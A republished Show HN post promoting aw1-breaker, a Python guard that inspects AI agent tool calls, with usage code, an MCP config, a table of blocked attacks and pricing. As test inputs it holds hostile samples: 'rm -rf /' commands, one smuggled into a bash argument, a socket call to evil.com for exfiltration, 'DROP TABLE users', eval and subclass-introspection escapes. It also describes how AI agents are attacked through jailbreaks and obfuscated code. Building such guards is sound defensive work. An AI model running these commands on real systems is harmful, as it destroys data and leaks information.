
Show HN: Aw-1 – Deterministic AST circuit breaker and kernel jail for AI agents
Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
Test the circuit breaker live in your terminal without installing anything:
uvx aw1-circuit-breaker --demo
Or verify an arbitrary snippet:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
📦 Installation
pip install --upgrade aw1-circuit-breaker
(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).
Drop enterprise boundary policies directly onto agent tools using the @guard.protect or universal @guard adapter:
from aw1 import EnterpriseGuard, SecurityViolationError
guard = EnterpriseGuard( allowed_tools=["safe_query", "fetch_market_data"], max_velocity_per_min=60, max_financial_limit=250.0, readonly_sql=True )
@guard.protect(tool_name="safe_query") def execute_database_query(query: str): return db.execute(query)
Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")
Adversarial AST injections & SQL drops are halted deterministically:
-> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
Universal Function & Async Gating
from aw1 import guard
@guard async def run_agent_tool(tool_payload: dict) -> dict: return {"status": "ok"}
🔌 Model Context Protocol (MCP) Server
Run directly with Python:
uvx aw1-circuit-breaker
MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
{ "mcpServers": { "aw1-circuit-breaker": { "command": "uvx", "args": ["aw1-circuit-breaker"] } } }
⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
Attack Vector Attacker Strategy LLM Guardrail Result AW-1 AST Circuit Breaker
Dynamic Execution eval(compile(...)) Evades semantic filters 🛑 Tripped (RESTRICTED_INVOCATION)
Shell Escapes subprocess.Popen(['bash', ...]) Masked as system task 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltration socket.connect(('evil.com', 443)) Disguised as HTTP fetch 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
SQL Destruction DROP TABLE users; Prompt jailbreak bypass 🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN)
Dunder Introspection ().class.subclasses() Bypasses keyword filters 🛑 Tripped (FAIL_CLOSED_REFLECTION_BREACH)
Run the Showcase
python examples/enterprise_guard_demo.py
⏱️ Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.
python benchmark.py
🧩 Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
Guard autonomous agent tool dispatches
try: execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"}) except CircuitBreakerException as blocked: print(f"Tool call halted: {blocked}")
🌐 Cloud REST API Gateway & Production Quotas
The AW-1 Circuit Breaker provides a production-grade HTTP interception gateway for microservices, browser frontends, and autonomous agent platforms.
{ "actor_id": "agent-alpha-01", "tool_name": "sql_query", "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;" }
Response Schema
- Permitted Execution (Token Minted)
{ "status": "PERMITTED", "verdict": "PASS", "permitted": true, "actor_id": "agent-alpha-01", "tool_name": "sql_query", "token": "aw1_sec_dev_dummy_key_000000000000", "reason": "Policy evaluation completed: execution safe", "latency_ms": 0.762, "circuit_breaker": "AW-1 Sovereign Execution Arbitrator" }
- Threat Contained (Fail-Closed)
{ "status": "HALT_AND_CONTAIN", "verdict": "FAIL_CLOSED", "permitted": false, "actor_id": "agent-alpha-01", "tool_name": "bash", "token": null, "reason": "AST Circuit Breaker containment triggered", "latency_ms": 0.201, "circuit_breaker": "AW-1 Sovereign Execution Arbitrator" }
Production Quotas & Pricing
Plan Pricing (USD / BWP) Quota & Features Access / Checkout
Developer Sandbox Free 10,000 requests, HMAC token minting Code HOL-BREAKER-2026
Developer Pro $49 / BWP 650 /mo 100,000 audit requests, 1 license key, offline HMAC validation Upgrade to Pro
Team / Startup $199 / BWP 2,650 /mo 1,000,000 audit requests, 5 seat keys, Redis state sync Upgrade to Team
Enterprise Dedicated $990 / BWP 13,200 /mo Unlimited seats, dedicated gateway tenant, custom statutory lenses Enterprise Desk
To activate enterprise quotas, pass your signed bearer token in the Authorization header:
curl -X POST https://p20.laveto.net/wisdom/api/v1/intercept
-H "Authorization: Bearer AW1-EXEC-TOKEN-..."
-H "Content-Type: application/json"
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'
License
Licensed under the Apache License, Version 2.0. See LICENSE for details.
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。